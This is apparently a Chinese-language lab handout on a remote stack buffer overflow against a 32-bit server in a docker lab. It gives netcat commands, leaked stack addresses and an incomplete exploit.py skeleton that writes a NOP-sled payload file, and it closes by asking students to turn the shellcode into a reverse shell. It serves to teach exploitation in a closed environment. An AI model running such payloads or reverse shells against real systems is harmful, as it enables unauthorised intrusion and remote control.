章节大纲

  • 当我们使用包含的 docker-compose.yml 文件启动容器时,将会运行四个容器,代表四种难度级别的难关。我们将在这个任务中攻打第一关。
      • 我们的第一个目标是在 10.9.0.5 上运行的服务器(端口号为 9090,该程序 stack 是一个 32 位的程序)。我们首先向此服务器发送一条正常消息。你将会看到目标容器打印出来以下信息(实际显示的消息可能不同)。
         
        // 在虚拟机上(即攻击者机器)
        $ echo hello | nc 10.9.0.5 9090
        Press Ctrl+C
        
        // 目标容器中打印出的消息
        server-1-10.9.0.5 | Got a connection from 10.9.0.1
        server-1-10.9.0.5 | Starting stack
        server-1-10.9.0.5 | Input size: 6
        server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffdb88    ☆
        server-1-10.9.0.5 | Buffer's address inside bof():     0xffffdb18    ☆
        server-1-10.9.0.5 | ==== Returned Properly ====
         
        服务器会接受用户最多 517 字节的数据,但实际的缓冲区没有那么大,这会导致缓冲区溢出。你的任务是构建攻击载荷以利用此漏洞。如果你把攻击 Payload 保存在一个文件中,可以使用以下命令将其发送给服务器。
         
        $ cat <file> | nc 10.9.0.5 9090
         
        如果服务器程序正常返回,将会打印出 "Returned Properly"。如果没有看到这个消息,则表示 stack 程序可能已经崩溃。服务器仍将继续运行并接受新的连接。
         
        在这个任务中,我们把缓冲区溢出攻击需要的一些关键信息作为提示显示给你,这包括帧指针的值和缓冲区的地址。在 x86、amd64 和 arm64 架构中,帧寄存器分别被命名为 ebp、rbp 及 x29。你可以利用提供的信息构建你的攻击 Payload。
         
        我们在程序中增加了一点随机性,使得不同的同学会看到不同的缓冲区地址和帧指针值。这些数值只有当容器重启时才会改变,因此只要你保持容器运行状态不变,就会看到相同的数字(不同同学的数字仍然不同)。这种随机性与地址随机化机制不同。
      • 要利用目标程序中的缓冲区溢出漏洞,我们需要准备一个攻击 Payload,并将其保存在一个文件中(我们将在本文档中使用 badfile 作为文件名)。我们将使用 Python 程序来实现这一点。我们提供了一个名为 exploit.py 的程序框架,其已被包含在实验环境设置文件中。代码尚不完整,你需要替换一些关键值。
         
        #!/usr/bin/python3
        import sys
        
        # 您可以复制并粘贴任务1的 shellcode
        shellcode = (
          ""                     ☆
        ).encode('latin-1')
        
        # 使用 NOP 填充内容
        content = bytearray(0x90 for i in range(517))
        
        ##################################################################
        # 将 shellcode 放在攻击载荷的某个位置
        start =  0               ☆
        content[start:start + len(shellcode)] = shellcode
        
        # 决定返回地址值,并将其放在攻击载荷的某个位置
        ret    = 0x00            ☆
        offset = 0               ☆
        
        # 根据位数选择使用 4 或者 8 字节填充内容
        content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
        ##################################################################
        
        # 将内容写入文件
        with open('badfile', 'wb') as f:
          f.write(content)

        在你完成上述程序后,请运行该程序。这将生成 badfile 的内容,然后将其发送给服务器。如果你的攻击代码实现正确,则你放置在 shellcode 内部的命令将会被执行。如果你的命令产生了输出,应能够在容器窗口中能看到。请提供证明以展示您成功地让服务器执行了您的命令。

        $./exploit.py   // 创建 badfile
        $ cat badfile | nc 10.9.0.5 9090

        其实攻击者并不只是想运行一个预定的命令,而是希望在目标服务器上获取一个 root shell,这样就可以运行任何命令。由于我们在远程,如果仅仅让服务器执行 /bin/sh 这样的 shell 程序,我们并没法控制这个 shell 程序。反向 shell 是解决此问题的一种典型技术,请参阅下面的反向 shell 的详细说明。请修改 shellcode 中的命令字符串,以便可以在目标服务器上获得一个反向 shell。请在实验报告中附上截图和解释。